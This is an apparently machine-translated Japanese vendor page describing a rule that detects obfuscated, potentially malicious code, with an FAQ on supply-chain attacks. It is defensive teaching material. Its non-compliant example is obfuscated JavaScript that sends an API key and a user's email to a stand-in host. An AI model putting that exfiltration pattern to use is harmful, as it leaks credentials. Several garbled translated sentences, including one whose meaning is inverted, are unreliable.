Aikido

潜在的に悪意のあるコードパターンの検出:コードベース内の隠れた脅威の特定

セキュリティ

ルール
検出 潜在的 悪意のある コード パターン
コード  あるべき 透明でなければならない でなければならない。 透明でなければならない。 意図する。 
意図的な 難読化 または 隠蔽 テクニック 示唆する
悪意がある 意図 または バックドアを示唆する。
対応言語 45+

はじめに

プロダクションリポジトリの難読化されたコードは、必ずしも良性とは限りません。フロントエンドのビルドにおけるコード・ミニフィケーションには正当なユースケースが存在しますが、ソースコード内の意図的に不明瞭にされたロジックは、しばしばサプライチェーン攻撃、バックドア、侵害された依存関係を示しています。攻撃者は、エンコーディングのトリック、異常な文字列の連結、動的評価、およびその他の難読化テクニックを使用して、悪意のあるペイロードをざっくりとしたコードレビューから隠します。

なぜそれが重要なのか

セキュリティへの影響:難読化されたコードは、サプライチェーンの侵害を示す主要な指標である。2024 XZ Utilsバックドアは、悪意のあるSSH認証バイパス・コードを隠すために、高度な難読化を使用していました。同様の手法は、環境変数や認証情報を流出させる侵害されたnpmパッケージにも見られます。コードが意図的にその意図を隠している場合、セキュリティ・レビューや自動スキャンでの検出を回避するように設計されている。

コードの保守性:難読化が悪意のあるものでない場合でも、メンテナンスに悪夢をもたらします。将来の開発者は意図を理解できず、デバッグは不可能になり、コードは誰も触りたくない技術的負債となります。難読化されたロジックは、バグや脆弱性を発見するために設計された静的解析ツールをすべてバイパスします。

攻撃対象の拡大: のような難読化テクニックがある。 eval(), 関数() コンストラクタや、base64 エンコードされた文字列は、セキュリティ・ツールが静的に分析できない動的なコード実行パスを作成します。これは、ソース・コード・レビューでは見えない実行時の振る舞いを導入することで、攻撃対象領域を拡大します。

パフォーマンスへの影響:難読化されたコードでは、過剰な文字列連結、動的なプロパティアクセス、エンコード/デコード操作の繰り返しなど、非効率的なパターンが使用されることがよくあります。これらのパターンは、ソース・リポジトリにおいて正当なビジネス目的を果たさない一方で、パフォーマンスを低下させます。

コード例

非準拠:

const _0x4d2e = ['env', 'API_KEY', 'toString', 'base64'];
const _0x1f3a = (i) => _0x4d2e[i];

function sendData(user) {
  const key = process[_0x1f3a(0)][_0x1f3a(1)];
  const payload = Buffer.from(JSON.stringify({
    u: user.email,
    k: key
  }))[_0x1f3a(2)](_0x1f3a(3));

  fetch('https://analytics-cdn.example.com/t', {
    method: 'POST',
    body: payload
  });
}

なぜ安全でないのか: 変数名が意図的に無意味であり、文字列アクセスが配列インデックスによって難読化され、実際にコンタクトされるエンドポイントが不明確である。このパターンは、悪意のあるパッケージが認証情報を流出させる方法と同じであり、レビュー中にコードの真の意図を検証することを不可能にしている。

✅ 準拠:

const ANALYTICS_ENDPOINT = 'https://analytics.example.com/track';

function sendAnalyticsEvent(user) {
  const event = {
    userId: user.id,
    email: user.email,
    timestamp: Date.now()
  };

  return fetch(ANALYTICS_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(event)
  });
}

安全な理由明確な変数名、明示的なエンドポイント、透過的なデータ構造、明白な意図。どのようなデータがどこに送られるのか、レビューする人は誰でもすぐに理解できる。このコードは、セキュリティ・ツールでも人間でも監査できる。

結論

ソース・リポジトリーにおける難読化されたコードは、セキュリティ上の赤旗であり、調査が必要です。ビルド時の最小化はフロントエンドの最適化のために許容されるが、ソースコードは常に読みやすく透明でなければならない。難読化パターンを早期に検出することで、サプライチェーンの侵害を防ぎ、コードの監査可能性を維持することができます。

よくある質問

ご質問は?

悪意のあるコードを示す一般的な難読化パターンとは?

注意点: 16進数またはbase64でエンコードされた文字列が実行時にデコードされる (`Buffer.from('aGVsbG8=', 'base64')`)、動的な文字列を含む `eval()` または `Function()` コンストラクタの使用、文字列がインデックス経由でアクセスされる配列ベースの文字列難読化、異常な文字エスケープ(`"hello"`の代わりに `xx68x65x6c` )、計算値を含むブラケット記法を使用したプロパティアクセス、制御フローを不明瞭にする深くネストされた三項演算子。これらのパターンが正規のコードに現れることはほとんどない。

ソースコードの難読化に正当な理由はあるのか?

ほとんどない。正当なユースケースとしては、商用ソフトウェアにおける独自のアルゴリズムの保護(ただし、これはバックエンド・サービスを通じて処理するのがよい)、改竄に対抗しなければならないライセンス/DRMコード、クライアントサイドのボット対策などがある。しかし、このようなケースであっても、個別に分離し、文書化し、レビューする必要がある。一般的なアプリケーション・コードは、ソース・リポジトリにおいて決して難読化すべきではありません。

最小化されたコードと悪意のある難読化を区別するには?

最小化されたコードは、ソースファイルではなく、ビルド成果物に現れます。あなたのリポジトリには、ビルドプロセスで最小化された可読なソースが含まれているはずです。もし `src/` ディレクトリや `node_modules` のソースファイルにミニファイされたコードや難読化されたコードがあったら、それは怪しいです。合法的なミニフィケーションでは構造(関数間の改行)も維持されますが、悪意のある難読化ではしばしば1行の、深くネストされた式が作成されます。

依存関係の中に難読化されたコードを見つけた場合、どうすればよいですか?

直ちにパッケージを調査してください。難読化がいつ導入されたかを確認し(最近のバージョンを比較してください)、パッケージメンテナの履歴を確認し、セキュリティ勧告を検索し、難読化されたコードが実際に何をしているのかを調べてください(`js-beautify`のようなツールが役に立ちます)。安全性を確認できない場合は、依存関係を削除するか、最後に確認された良いバージョンに固定しましょう。不審なパッケージは npm セキュリティか、関連するパッケージレジストリに報告してください。

難読化は曖昧さによるセキュリティに使えるか?

難読化は可逆的であるためです。攻撃者はあなたのコードの難読化を解除しますが、セキュリティ・チームや自動化ツールはそれを簡単に監査することはできません。これは非対称的なリスクを生み出す。つまり、あなたは脆弱性に気づかないが、攻撃者は気づかないのだ。本当のセキュリティは、適切な認証、暗号化、最小特権、その他の徹底した防御から得られるのであって、実装の詳細を隠すことから得られるのではありません。

サプライチェーン攻撃はどのように難読化を利用するのか?

攻撃者は正規のパッケージを侵害し、難読化された悪意のあるコードを注入し、環境変数、認証情報、ソースコードを流出させる。難読化は、悪意のあるコミットが自動チェックやカジュアルなコードレビューを通過するのを助ける。2018年のイベント・ストリーム事件では、難読化を使ってビットコイン・ウォレットの盗難を隠していた。さらに最近では、数十のnpmパッケージがbase64エンコーディングを使ってクレデンシャル流出コードを隠していた。難読化のパターンを検出することは、サプライチェーンのセキュリティにとって非常に重要である。

難読化されたコードパターンのパフォーマンスへの影響は?

難読化されたコードでは、ループ内での文字列の連結、繰り返される base64 エンコード/デコード、JavaScript エンジンの最適化を妨げる動的なプロパティアクセス、過剰なクロージャの作成など、非効率的なテクニックが使用されることがよくあります。これらのパターンは、同等の読み取り可能なコードと比較して、パフォーマンスを10~50%低下させる可能性があります。さらに重要なことに、難読化されたコードは、V8などのエンジンが透過的なコードに対して実行するランタイムの最適化を妨げるため、パフォーマンスへの影響は予測不可能です。

まずは無料で体験

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。